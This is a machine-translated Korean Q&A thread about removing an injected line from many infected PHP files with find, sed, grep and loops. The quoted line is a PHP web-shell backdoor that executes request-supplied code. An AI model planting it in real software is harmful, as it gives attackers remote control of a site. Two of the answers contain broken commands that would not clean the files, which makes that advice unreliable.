한 번에 여러 파일에서 텍스트를 찾아 제거하는 Linux 명령

한 번에 여러 파일에서 텍스트를 찾아 제거하는 Linux 명령

내 사이트가 바이러스에 감염되었습니다. 이 바이러스는 내 사이트의 여러 파일에 이 줄을 추가했습니다. 내 생각은 터미널에서 고유한 명령을 사용하여 이 텍스트 줄을 제거하는 것입니다.

'my-folder' 폴더가 있고 그 안에 'file-1.php', 'file-2.php' 등의 파일이 있다고 가정해 보겠습니다.

그리고 여러 개의 파일이 감염되었다고 가정해 보겠습니다.

여러 파일에서 이 코드 줄을 찾아서 제거하는 명령이 있습니까?한 번에?

제거할 텍스트: extract($_REQUEST) && @assert(stripslashes($accept)) && 종료;

이것을 찾았지만 단일 파일에서만 작동합니다.

$ sed 's/extract($_REQUEST) && @assert(stripslashes($accept)) && exit;//' my-file.php

내가 이걸 할 수 있을까?

답변1

  1. sed을 결합 하여 find재귀적으로 만들 수 있습니다. 그런 것 :

    find . -type f -name "*php" -exec sed -i.bak 's/extract($_REQUEST) && @assert(stripslashes($accept)) && exit;//' {} \+
    

    현재 디렉토리 트리를 살펴보고 기존의 모든 "*php" 파일에 sed를 적용한다는 점에 유의하세요. 또한 변경된 모든 항목에 대해 .bak 백업 파일을 생성합니다(만일의 경우를 대비하여 나중에 복원할 수 있습니다). 백업이 필요하지 않다면 -i.bak그냥 으로 교체하세요 -i. 그렇지 않으면 나중에 find . -name "*php.bak" -delete.

  2. 이 단계는 지금 ​​모든 것을 해결하는 데 도움이 되지는 않지만 앞으로 시간을 확실히 절약할 수 있습니다. 디렉터리를 스크립트로 유지하세요 git(이상적으로는 완전한 CI/CD 솔루션이어야 하지만 git으로 바로 시작할 수 있습니다). ), 파일에 적용된 변경 사항을 쉽게 롤백/포워드할 수 있습니다.

답변2

악성 문자열이 포함된 파일을 검색하고 다음을 사용하여 편집합니다 sed.

ag -lF --php 'extract($_REQUEST) && @assert(stripslashes($accept)) && exit;' | xargs sed -i 's/extract($_REQUEST) && @assert(stripslashes($accept)) && exit;//'

나는 자주 의지한다.agphp플래그 가 있는 파일 만 검색합니다 --php. 원하는 경우 다음을 사용하여 동일한 작업을 수행할 수 있습니다 grep -r -i --include \*.php.

grep -rilF --include \*.php 'extract($_REQUEST) && @assert(stripslashes($accept)) && exit;' | xargs sed -i 's/extract($_REQUEST) && @assert(stripslashes($accept)) && exit;//'

답변3

명령에 따라 "for 루프"를 사용하여 이를 수행하는 것이 좋습니다.

for i in file-1.php file-2.php
        do sed 's/extract($_REQUEST) && @assert(stripslashes($accept)) && exit;//'
done

또한 원하는 파일을 "file-1.php file-2.php file-n.php"에 추가할 수 있습니다.

답변4

아래 방법을 사용하여 특정 패턴이 포함된 파일의 줄을 삭제할 수 있습니다.

for 루프에서 파일을 언급할 수 있습니다.

for i in file1 file2
do
sed -i '/Text to remove: extract($_REQUEST) && @assert(stripslashes($accept)) && exit/d' $i
done

관련 정보